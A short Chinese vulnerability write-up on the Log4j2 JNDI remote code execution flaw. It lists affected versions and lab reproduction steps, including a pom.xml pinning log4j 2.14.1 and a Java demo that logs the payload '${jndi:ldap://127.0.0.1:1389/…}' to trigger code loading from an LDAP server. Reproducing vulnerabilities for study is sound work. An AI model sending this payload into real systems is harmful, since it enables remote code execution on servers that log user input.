漏洞介绍
Apache Log4j2是一个基于Java的日志记录工具。该工具重写了Log4j框架,并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发,用来记录日志信息。大多数情况下,开发者可能会将用户输入导致的错误信息写入日志中。
此次漏洞触发条件为只要外部用户输入的数据会被日志记录,即可造成远程代码执行
影响版本
Apache Log4j 2.x <= 2.14.1
漏洞复现
在IDEA中新建一个Maven项目,在pom.xml中导入依赖文件下载log4j程序包
pom.xml文件如下:
<dependencies>
<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency>
</dependencies>
下载相应程序包资源
使用JNDI注入工具开启rmi服务或者idap服务执行本地命令
测试Demo
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Test {
private static final Logger logger = LogManager.getLogger(Test.class);
public static void main(String[] args) {
logger.error("${jndi:ldap://127.0.0.1:1389/2ltqyh}");
}
}